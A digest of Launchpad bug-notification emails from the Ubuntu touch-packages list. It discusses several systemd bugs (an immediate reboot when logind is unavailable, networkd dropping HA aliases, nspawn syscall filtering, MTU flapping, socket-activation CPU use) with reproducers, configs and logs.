  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Connection timed out
  Connection to groovy closed by remote host.
  Connection to groovy closed.

  [WHERE PROBLEM COULD OCCUR]

  This patch changes the behaviour of scheduled reboot in case logind or dbus 
has failed.
  Originally, if logind is not available (call to logind bus fails
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L319)
  it proceeds with immediate shutdown.
  This patch changes this behaviour and instead of shutting down it does 
nothing.
  The actual regression potential is a user asking for a reboot and not getting 
it.
  Other than that the changes in the code are very small and simple and 
unlikely to break anything.

  [OTHER]

  This is now fixed in H, currently affects B,G,F.

  Debian bug reports :
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=931235
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=960042

  Upstream issue : https://github.com/systemd/systemd/issues/17575
  PR : https://github.com/systemd/systemd/pull/18010

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1911187/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1911187] Re: scheduled reboot reboots immediately if dbus or logind is not available

[Dan Streetman]

@joalif, one thing I noticed, that isn't important for this SRU, is that
the !ENABLE_LOGIND case still has a log message indicating shutdown will
happen immediately, i.e.:


int logind_schedule_shutdown(void) {


  



  
#if ENABLE_LOGIND   


  
...stuff...
#else   


  
return log_error_errno(SYNTHETIC_ERRNO(ENOSYS), 


  
   "Cannot schedule shutdown without logind 
support, proceeding with immediate shutdown."); 

  
#endif  


  
}

however, since the caller has been changed to return error instead of
immediate reboot, maybe that message should be changed as well. I'd
actually suggest that both messages in this function, that state what
will happen next but rely on the caller to actually do what the log
states, are in the wrong place, and the *calling* function should log an
appropriate message about what it's doing next instead of this function.

Doesn't matter for this though since we do define ENABLE_LOGIND for our
builds, just a suggestion if you want to send a patch to debian :)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1911187

Title:
  scheduled reboot reboots immediately if dbus or logind is not
  available

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  [IMPACT]

  When, for whatever reason, logind or dbus is not available scheduled reboot 
reboots the machine immediately.
  From the sources it seems that this is intended :
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L318
  However, I report this as a bug since this is against the logic of a 
scheduled reboot; if someone schedules a reboot they want the system to reboot 
at the specified time not immediately.

  There has been a discussion upstream ( 
https://github.com/systemd/systemd/issues/17575 ) and
  a PR ( https://github.com/systemd/systemd/pull/18010 ).

  Upstream community is not willing to accept the patch but debian is.
  I open this bug to to pull the patch into Ubuntu once it lands in debian.

  [TEST PLAN]

  The simpler reproducer is to disable dbus to imitate the real world
  case.

  # systemctl stop dbus.service
  # systemctl stop dbus.socket
  # shutdown +1140 -r "REBOOT!"
  Failed to set wall message, ignoring: Failed to activate service 
'org.freedesktop.login1': timed out (service_start_timeout=25000ms)
  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Connection timed out
  Connection to groovy closed by remote host.
  Connection to groovy closed.

  [WHERE PROBLEM COULD OCCUR]

  This patch changes the behaviour of scheduled reboot in case logind or dbus 
has failed.
  Originally, if logind is not available (call to logind bus fails
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L319)
  it proceeds with immediate shutdown.
  This patch changes this behaviour and instead of shutting down it does 
nothing.
  The actual regression potential is a user asking for a reboot and not getting 
it.
  Other than that the changes in the code are very small and simple and 

[Touch-packages] [Bug 1911187] Re: scheduled reboot reboots immediately if dbus or logind is not available

[Dan Streetman]

** Changed in: systemd (Ubuntu Focal)
 Assignee: Dan Streetman (ddstreet) => Ioanna Alifieraki (joalif)

** Changed in: systemd (Ubuntu)
   Status: Confirmed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1911187

Title:
  scheduled reboot reboots immediately if dbus or logind is not
  available

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  [IMPACT]

  When, for whatever reason, logind or dbus is not available scheduled reboot 
reboots the machine immediately.
  From the sources it seems that this is intended :
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L318
  However, I report this as a bug since this is against the logic of a 
scheduled reboot; if someone schedules a reboot they want the system to reboot 
at the specified time not immediately.

  There has been a discussion upstream ( 
https://github.com/systemd/systemd/issues/17575 ) and
  a PR ( https://github.com/systemd/systemd/pull/18010 ).

  Upstream community is not willing to accept the patch but debian is.
  I open this bug to to pull the patch into Ubuntu once it lands in debian.

  [TEST CASE]

  The simpler reproducer is to disable dbus to imitate the real world
  case.

  # systemctl stop dbus.service
  # systemctl stop dbus.socket
  # shutdown +1140 -r "REBOOT!"
  Failed to set wall message, ignoring: Failed to activate service 
'org.freedesktop.login1': timed out (service_start_timeout=25000ms)
  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Connection timed out
  Connection to groovy closed by remote host.
  Connection to groovy closed.

  [REGRESSION POTENTIAL]

  This patch changes the behaviour of scheduled reboot in case logind or dbus 
has failed.
  Originally, if logind is not available (call to logind bus fails
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L319)
  it proceeds with immediate shutdown.
  This patch changes this behaviour and instead of shutting down it does 
nothing.
  The actual regression potential is a user asking for a reboot and not getting 
it.
  Other than that the changes in the code are very small and simple and 
unlikely to break anything.

  [SCOPE]

  This is already in H, need backporting to B,G,F.

  Ubuntu-hirsute commits :

  https://git.launchpad.net/~ubuntu-core-
  dev/ubuntu/+source/systemd/commit/?h=ubuntu-
  hirsute=ce31df6711a8e112cff929ed3bbdcd194f876270

  https://git.launchpad.net/~ubuntu-core-
  dev/ubuntu/+source/systemd/commit/?h=ubuntu-
  hirsute=ec1130fece7ca66273773119775e51045a74122c

  Debian commits :

  https://salsa.debian.org/systemd-
  team/systemd/-/commit/ce31df6711a8e112cff929ed3bbdcd194f876270

  https://salsa.debian.org/systemd-
  team/systemd/-/commit/ec1130fece7ca66273773119775e51045a74122c

  [OTHER]

  Debian bug reports :
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=931235
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=960042

  Upstream issue : https://github.com/systemd/systemd/issues/17575
  PR : https://github.com/systemd/systemd/pull/18010

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1911187/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1911187] Re: scheduled reboot reboots immediately if dbus or logind is not available

[Dan Streetman]

** Changed in: systemd (Ubuntu Focal)
 Assignee: Ioanna Alifieraki (joalif) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1911187

Title:
  scheduled reboot reboots immediately if dbus or logind is not
  available

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress

Bug description:
  [IMPACT]

  When, for whatever reason, logind or dbus is not available scheduled reboot 
reboots the machine immediately.
  From the sources it seems that this is intended :
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L318
  However, I report this as a bug since this is against the logic of a 
scheduled reboot; if someone schedules a reboot they want the system to reboot 
at the specified time not immediately.

  There has been a discussion upstream ( 
https://github.com/systemd/systemd/issues/17575 ) and
  a PR ( https://github.com/systemd/systemd/pull/18010 ).

  Upstream community is not willing to accept the patch but debian is.
  I open this bug to to pull the patch into Ubuntu once it lands in debian.

  [TEST CASE]

  The simpler reproducer is to disable dbus to imitate the real world
  case.

  # systemctl stop dbus.service
  # systemctl stop dbus.socket
  # shutdown +1140 -r "REBOOT!"
  Failed to set wall message, ignoring: Failed to activate service 
'org.freedesktop.login1': timed out (service_start_timeout=25000ms)
  Failed to call ScheduleShutdown in logind, proceeding with immediate 
shutdown: Connection timed out
  Connection to groovy closed by remote host.
  Connection to groovy closed.

  [REGRESSION POTENTIAL]

  This patch changes the behaviour of scheduled reboot in case logind or dbus 
has failed.
  Originally, if logind is not available (call to logind bus fails
  
https://github.com/systemd/systemd/blob/master/src/systemctl/systemctl-logind.c#L319)
  it proceeds with immediate shutdown.
  This patch changes this behaviour and instead of shutting down it does 
nothing.
  The actual regression potential is a user asking for a reboot and not getting 
it.
  Other than that the changes in the code are very small and simple and 
unlikely to break anything.

  [SCOPE]

  This is already in H, need backporting to B,G,F.

  Ubuntu-hirsute commits :

  https://git.launchpad.net/~ubuntu-core-
  dev/ubuntu/+source/systemd/commit/?h=ubuntu-
  hirsute=ce31df6711a8e112cff929ed3bbdcd194f876270

  https://git.launchpad.net/~ubuntu-core-
  dev/ubuntu/+source/systemd/commit/?h=ubuntu-
  hirsute=ec1130fece7ca66273773119775e51045a74122c

  Debian commits :

  https://salsa.debian.org/systemd-
  team/systemd/-/commit/ce31df6711a8e112cff929ed3bbdcd194f876270

  https://salsa.debian.org/systemd-
  team/systemd/-/commit/ec1130fece7ca66273773119775e51045a74122c

  [OTHER]

  Debian bug reports :
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=931235
  https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=960042

  Upstream issue : https://github.com/systemd/systemd/issues/17575
  PR : https://github.com/systemd/systemd/pull/18010

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1911187/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1815101] Re: [master] Restarting systemd-networkd breaks keepalived, heartbeat, corosync, pacemaker (interface aliases are restarted)

[Dan Streetman]

i'm marking this as wont-fix for xenial.

i'm inclined to also mark this as wont-fix for bionic, unless there are
still people affected by this problem using bionic without some other
workaround.

** Changed in: systemd (Ubuntu Xenial)
   Status: Confirmed => Won't Fix

** Changed in: systemd (Ubuntu Bionic)
   Status: In Progress => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1815101

Title:
  [master] Restarting systemd-networkd breaks keepalived, heartbeat,
  corosync, pacemaker (interface aliases are restarted)

Status in netplan:
  Confirmed
Status in heartbeat package in Ubuntu:
  Won't Fix
Status in keepalived package in Ubuntu:
  In Progress
Status in systemd package in Ubuntu:
  In Progress
Status in keepalived source package in Xenial:
  Confirmed
Status in systemd source package in Xenial:
  Won't Fix
Status in keepalived source package in Bionic:
  Confirmed
Status in systemd source package in Bionic:
  Incomplete
Status in systemd source package in Disco:
  Won't Fix
Status in systemd source package in Eoan:
  Fix Released
Status in keepalived source package in Focal:
  Confirmed
Status in systemd source package in Focal:
  Fix Released

Bug description:
  [impact]

  - ALL related HA software has a small problem if interfaces are being
  managed by systemd-networkd: nic restarts/reconfigs are always going
  to wipe all interfaces aliases when HA software is not expecting it to
  (no coordination between them.

  - keepalived, smb ctdb, pacemaker, all suffer from this. Pacemaker is
  smarter in this case because it has a service monitor that will
  restart the virtual IP resource, in affected node & nic, before
  considering a real failure, but other HA service might consider a real
  failure when it is not.

  [test case]

  - comment #14 is a full test case: to have 3 node pacemaker, in that
  example, and cause a networkd service restart: it will trigger a
  failure for the virtual IP resource monitor.

  - other example is given in the original description for keepalived.
  both suffer from the same issue (and other HA softwares as well).

  [regression potential]

  - this backports KeepConfiguration parameter, which adds some
  significant complexity to networkd's configuration and behavior, which
  could lead to regressions in correctly configuring the network at
  networkd start, or incorrectly maintaining configuration at networkd
  restart, or losing network state at networkd stop.

  - Any regressions are most likely to occur during networkd start,
  restart, or stop, and most likely to involve missing or incorrect ip
  address(es).

  - the change is based in upstream patches adding the exact feature we
  needed to fix this issue & it will be integrated with a netplan change
  to add the needed stanza to systemd nic configuration file
  (KeepConfiguration=)

  [other info]

  original description:
  ---

  Configure netplan for interfaces, for example (a working config with
  IP addresses obfuscated)

  network:
  ethernets:
  eth0:
  addresses: [192.168.0.5/24]
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth2:
  addresses:
    - 12.13.14.18/29
    - 12.13.14.19/29
  gateway4: 12.13.14.17
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth3:
  addresses: [10.22.11.6/24]
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth4:
  addresses: [10.22.14.6/24]
  dhcp4: false
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  eth7:
  addresses: [9.5.17.34/29]
  dhcp4: false
  optional: true
  nameservers:
    search: [blah.com, other.blah.com, hq.blah.com, cust.blah.com, 
phone.blah.com]
    addresses: [10.22.11.1]
  version: 2

  Configure keepalived (again, a working config with IP addresses
  obfuscated)

  global_defs   # Block id
  {
  notification_email {
  sysadm...@blah.com
  }
  notification_email_from keepali...@system3.hq.blah.com
  smtp_server 10.22.11.7 # IP
  smtp_connect_timeout 30  # integer, seconds
  router_id system3  # string identifying the machine,
   # (doesn't have to be 

[Touch-packages] [Bug 1883447] Re: nspawn on some 32-bit archs blocks _time64 syscalls, breaks upgrade to focal in containers

[Dan Streetman]

** Description changed:

+ [impact]
  
- Recent Linux kernels introduced a number of new syscalls ending in _time64 to 
fix Y2038 problem; it appears recent glibc, including the version in focal, 
test for the existence of these. systemd-nspawn in bionic (237-3ubuntu10.38) 
doesn't know about these so blocks them by default. It seems however glibc 
isn't expecting an EPERM, causing numerous programs to fail.
+ nspawn fails on armhf
+ 
+ [test case]
+ 
+ TBD
+ 
+ [regression potential]
+ 
+ any regression would likely break nspawn creation of containers,
+ particularly on armhf, but possibly on other archs
+ 
+ [scope]
+ 
+ this is needed only in bionic.
+ 
+ this is fixed upstream by commit
+ 6ca677106992321326427c89a40e1c9673a499b2 which was included first in
+ v244, so this is fixed already in focal and later.
+ 
+ [original description]
+ 
+ Recent Linux kernels introduced a number of new syscalls ending in
+ _time64 to fix Y2038 problem; it appears recent glibc, including the
+ version in focal, test for the existence of these. systemd-nspawn in
+ bionic (237-3ubuntu10.38) doesn't know about these so blocks them by
+ default. It seems however glibc isn't expecting an EPERM, causing
+ numerous programs to fail.
  
  In particular, running do-release-upgrade to focal in an nspawn
  container hosted on bionic will break as soon as the new libc has been
  unpacked.
  
  Solution (tested here) is to cherrypick upstream commit
  
https://github.com/systemd/systemd/commit/6ca677106992321326427c89a40e1c9673a499b2
  
  A newer libseccomp is also needed but this is already being worked on,
  see bug #1876055.
  
  It's a pretty trivial fix one the new libseccomp lands, and there is
  precedent for SRU-ing for a similar issue in bug #1840640.
  
  https://patchwork.kernel.org/patch/10756415/ is apparently the upstream
  kernel patch, which should give a clearer idea of which architectures
  are likely to be affected - I noticed it on armhf.

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Low

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1883447

Title:
  nspawn on some 32-bit archs blocks _time64 syscalls, breaks upgrade to
  focal in containers

Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  Fix Released

Bug description:
  [impact]

  nspawn fails on armhf

  [test case]

  TBD

  [regression potential]

  any regression would likely break nspawn creation of containers,
  particularly on armhf, but possibly on other archs

  [scope]

  this is needed only in bionic.

  this is fixed upstream by commit
  6ca677106992321326427c89a40e1c9673a499b2 which was included first in
  v244, so this is fixed already in focal and later.

  [original description]

  Recent Linux kernels introduced a number of new syscalls ending in
  _time64 to fix Y2038 problem; it appears recent glibc, including the
  version in focal, test for the existence of these. systemd-nspawn in
  bionic (237-3ubuntu10.38) doesn't know about these so blocks them by
  default. It seems however glibc isn't expecting an EPERM, causing
  numerous programs to fail.

  In particular, running do-release-upgrade to focal in an nspawn
  container hosted on bionic will break as soon as the new libc has been
  unpacked.

  Solution (tested here) is to cherrypick upstream commit
  
https://github.com/systemd/systemd/commit/6ca677106992321326427c89a40e1c9673a499b2

  A newer libseccomp is also needed but this is already being worked on,
  see bug #1876055.

  It's a pretty trivial fix one the new libseccomp lands, and there is
  precedent for SRU-ing for a similar issue in bug #1840640.

  https://patchwork.kernel.org/patch/10756415/ is apparently the
  upstream kernel patch, which should give a clearer idea of which
  architectures are likely to be affected - I noticed it on armhf.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1883447/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1881207] Re: systemd-networkd brings eno1 up and down repeatedly

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #18738
   https://github.com/systemd/systemd/issues/18738

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/18738
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881207

Title:
  systemd-networkd brings eno1 up and down repeatedly

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  a system using dhcp for an interface where (1) the interface 'resets'
  itself during mtu setting (meaning it briefly drops carrier during mtu
  change), and (2) the dhcp server provides a non-standard (i.e. other
  than 1500) mtu, will continually loop changing mtu between 1500 and
  the dhcp-privded mtu.

  [test case]

  The e1000e nic is one such nic where the driver briefly drops carrier
  when changing the mtu, so this can be reproduced by creating a VM and
  setting the interface to the 'e1000e' emulated hardware. Then
  configure a dhcp server to provide dhcp service to the VM, and set the
  mtu to e.g. 9000 (anything other than the default 1500).

  When the VM runs dhcp, it will loop with:

  Feb 22 15:18:58 lp1881207-upstream systemd-networkd[992]: ens8: Gained carrier
  Feb 22 15:18:58 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv4 
address 1.2.3.133/24 via 1.2.3.1
  Feb 22 15:18:59 lp1881207-upstream systemd-networkd[992]: ens8: Lost carrier
  Feb 22 15:18:59 lp1881207-upstream systemd-networkd[992]: ens8: DHCP lease 
lost
  Feb 22 15:18:59 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv6 lease 
lost
  Feb 22 15:19:01 lp1881207-upstream systemd-networkd[992]: ens8: Gained carrier
  Feb 22 15:19:01 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv4 
address 1.2.3.133/24 via 1.2.3.1
  Feb 22 15:19:02 lp1881207-upstream systemd-networkd[992]: ens8: Lost carrier
  Feb 22 15:19:02 lp1881207-upstream systemd-networkd[992]: ens8: DHCP lease 
lost
  Feb 22 15:19:02 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv6 lease 
lost
  Feb 22 15:19:04 lp1881207-upstream systemd-networkd[992]: ens8: Gained carrier
  Feb 22 15:19:04 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv4 
address 1.2.3.133/24 via 1.2.3.1
  Feb 22 15:19:05 lp1881207-upstream systemd-networkd[992]: ens8: Lost carrier
  Feb 22 15:19:05 lp1881207-upstream systemd-networkd[992]: ens8: DHCP lease 
lost
  Feb 22 15:19:05 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv6 lease 
lost

  [regression potential]

  any regression would likely involve an issue with dhcpv4 service;
  possibly not setting the mtu correctly, or possibly not completing
  dhcpv4 at all.

  [scope]

  this is not fixed upstream yet, so (once fixed upstream) it will be
  needed for b/f/g/h

  [original description]

  Running on a NUC (BOXNUC8i7BEH3).

  After updating the `systemd` package past `237-3ubuntu10.32`, I see
  the onboard NIC link being taken down / up repeatedly, as shown below
  (dates are from my original notes, but the issue remains the same
  today).

  The NIC fails to remain up, and all networking is out of action.

  Running `systemctl stop systemd-netword` stops this and leaves the NIC in an 
unknown state.
  Subsequently running `ifconfig eno1 up && dhclient eno1` allows networking to 
continue basic operation, albeit without systemd's oversight.

  My original solution was to downgrade both the `libsystemd0` and
  `systemd` packages to `237-3ubuntu10.28`.

  After attempting an `apt update && apt upgrade` again today, exactly
  the same thing is happening with `237-3ubuntu10.41`.

  Good versions:
  - 237-3ubuntu10.28
  - 237-3ubuntu10.32 (currently in use, and held)

  Bad versions:
  - 237-3ubuntu10.33
  - 237-3ubuntu10.38
  - 237-3ubuntu10.41

  dmesg:

  [  360.711367] e1000e: eno1 NIC Link is Up 1000 Mbps Full Duplex, Flow 
Control: Rx/Tx
  [  360.714370] e1000e :00:1f.6 eno1: changing MTU from 1500 to 9000
  [  360.726189] e1000e :00:1f.6: Interrupt Throttle Rate off
  [  361.733073] e1000e :00:1f.6 eno1: changing MTU from 9000 to 1500
  [  361.744146] e1000e :00:1f.6: Interrupt Throttle Rate on
  [  366.760198] e1000e: eno1 NIC Link is Up 1000 Mbps Full Duplex, Flow 
Control: Rx/Tx
  [  366.763375] e1000e :00:1f.6 eno1: changing MTU from 1500 to 9000
  [  366.776060] e1000e :00:1f.6: Interrupt Throttle Rate off
  [  367.781718] e1000e :00:1f.6 eno1: changing MTU from 9000 to 1500
  [  367.792796] e1000e :00:1f.6: Interrupt Throttle Rate on
  [  372.808660] e1000e: eno1 NIC Link is Up 1000 Mbps Full Duplex, Flow 

[Touch-packages] [Bug 1881207] Re: systemd-networkd brings eno1 up and down repeatedly

[Dan Streetman]

6 18:04:06 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: Gained carrier
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: DHCPv4 address 
10.42.0.5/24 via 10.42.0.3
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:11 patch systemd-networkd[755]: eno1: Configured
  Jan 06 18:04:12 patch systemd-networkd[755]: eno1: Lost carrier
  Jan 06 18:04:12 patch systemd-networkd[755]: eno1: DHCP lease lost
  Jan 06 18:04:12 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: Gained carrier
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: DHCPv4 address 
10.42.0.5/24 via 10.42.0.3
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  Jan 06 18:04:17 patch systemd-networkd[755]: eno1: Configured
  Jan 06 18:04:18 patch systemd-networkd[755]: eno1: Lost carrier
  Jan 06 18:04:18 patch systemd-networkd[755]: eno1: DHCP lease lost
  Jan 06 18:04:18 patch systemd-networkd[755]: eno1: IPv6 successfully enabled
  
  ProblemType: Bug
  DistroRelease: Ubuntu 18.04
  Package: systemd 237-3ubuntu10.32
  ProcVersionSignature: Ubuntu 4.15.0-101.102-generic 4.15.18
  Uname: Linux 4.15.0-101-generic x86_64
  ApportVersion: 2.20.9-0ubuntu7.15
  Architecture: amd64
  Date: Thu May 28 23:19:27 2020
  InstallationDate: Installed on 2019-06-20 (343 days ago)
  InstallationMedia: Ubuntu-Server 18.04.2 LTS "Bionic Beaver" - Release amd64 
(20190210)
  Lsusb:
   Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
   Bus 001 Device 003: ID 0dc6:3401 Precision Squared Technology Corp.
   Bus 001 Device 002: ID 0403:6014 Future Technology Devices International, 
Ltd FT232H Single HS USB-UART/FIFO IC
   Bus 001 Device 004: ID 8087:0aaa Intel Corp.
   Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
  MachineType: Intel(R) Client Systems NUC8i7BEH
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-101-generic 
root=UUID=d03ca5b0-7a00-42da-a3a8-e065dcf6dd07 ro
  SourcePackage: systemd
  UpgradeStatus: No upgrade log present (probably fresh install)
  dmi.bios.date: 02/13/2019
  dmi.bios.vendor: Intel Corp.
  dmi.bios.version: BECFL357.86A.0064.2019.0213.1122
  dmi.board.name: NUC8BEB
  dmi.board.vendor: Intel Corporation
  dmi.board.version: J72688-305
  dmi.chassis.type: 3
  dmi.chassis.vendor: Intel Corporation
  dmi.chassis.version: 2.0
  dmi.modalias: 
dmi:bvnIntelCorp.:bvrBECFL357.86A.0064.2019.0213.1122:bd02/13/2019:svnIntel(R)ClientSystems:pnNUC8i7BEH:pvrJ72992-305:rvnIntelCorporation:rnNUC8BEB:rvrJ72688-305:cvnIntelCorporation:ct3:cvr2.0:
  dmi.product.family: Intel NUC
  dmi.product.name: NUC8i7BEH
  dmi.product.version: J72992-305
  dmi.sys.vendor: Intel(R) Client Systems

** Also affects: systemd (Ubuntu Hirsute)
   Importance: Medium
     Assignee: Dan Streetman (ddstreet)
   Status: In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1881207

Title:
  systemd-networkd brings eno1 up and down repeatedly

Status in systemd package in Ubuntu:
  In Progress
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Eoan:
  Won't Fix
Status in systemd source package in Focal:
  In Progress
Status in systemd source package in Groovy:
  In Progress
Status in systemd source package in Hirsute:
  In Progress

Bug description:
  [impact]

  a system using dhcp for an interface where (1) the interface 'resets'
  itself during mtu setting (meaning it briefly drops carrier during mtu
  change), and (2) the dhcp server provides a non-standard (i.e. other
  than 1500) mtu, will continually loop changing mtu between 1500 and
  the dhcp-privded mtu.

  [test case]

  The e1000e nic is one such nic where the driver briefly drops carrier
  when changing the mtu, so this can be reproduced by creating a VM and
  setting the interface to the 'e1000e' emulated hardware. Then
  configure a dhcp server to provide dhcp service to the VM, and set the
  mtu to e.g. 9000 (anything other than the default 1500).

  When the VM runs dhcp, it will loop with:

  Feb 22 15:18:58 lp1881207-upstream systemd-networkd[992]: ens8: Gained carrier
  Feb 22 15:18:58 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv4 
address 1.2.3.133/24 via 1.2.3.1
  Feb 22 15:18:59 lp1881207-upstream systemd-networkd[992]: ens8: Lost carrier
  Feb 22 15:18:59 lp1881207-upstream systemd-networkd[992]: ens8: DHCP lease 
lost
  Feb 22 15:18:59 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv6 lease 
lost
  Feb 22 15:19:01 lp1881207-upstream systemd-networkd[992]: ens8: Gained carrier
  Feb 22 15:19:01 lp1881207-upstream systemd-networkd[992]: ens8: DHCPv4 
address 1.2.3.133/24 via 1.2.3.1
  Feb 22 15:19:02 lp1881207-upstream systemd-networkd[992]: ens8: Lost carrier
  Feb 22 1

[Touch-packages] [Bug 1904369] Re: systemd 100% CPU; constantly reading service for socket activation

[Dan Streetman]

** Changed in: systemd (Ubuntu)
   Status: Confirmed => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1904369

Title:
  systemd 100% CPU; constantly reading service for socket activation

Status in systemd package in Ubuntu:
  Incomplete
Status in systemd source package in Bionic:
  Incomplete

Bug description:
  Hi,

  We recently switched to using systemd's socket activation for per-
  client limits. The configs are as follows:

  | $ ls -la /etc/systemd/system/sockets.target.wants/rsyncd.socket
  | lrwxrwxrwx 1 root root 33 Aug 25 00:09 
/etc/systemd/system/sockets.target.wants/rsyncd.socket -> 
/etc/systemd/system/rsyncd.socket

  | $ cat /etc/systemd/system/sockets.target.wants/rsyncd.socket
  | [Unit]
  | Description=rsync daemon (socket)
  | Conflicts=rsyncd.service
  |
  | [Socket]
  | ListenStream=873
  | Accept=yes
  | MaxConnections=85
  | MaxConnectionsPerSource=5
  | KeepAlive=true
  |
  | [Install]
  | WantedBy=sockets.target

  | $ cat /etc/systemd/system/rsyncd@.service
  | [Unit]
  | Description=rsync daemon
  | ConditionPathExists=/etc/rsyncd.conf
  |
  | [Service]
  | ExecStart=/usr/bin/rsync --daemon
  | StandardInput=socket
  |
  | [Install]
  | WantedBy=multi-user.target

  After a while, systemd runs hot consuming a whole CPU core:

  | $ top -p 1
  |   PID USER  PR  NIVIRTRESSHR S  %CPU %MEM TIME+ COMMAND
  | 1 root  20   0 2057476 251560   6264 R  99.7  0.1  17903:32 systemd

  strace shows it constantly doing this:

  | $ sudo strace -p 1
  | ...
  | openat(AT_FDCWD, "/etc/systemd/system/rsyncd@.service", 
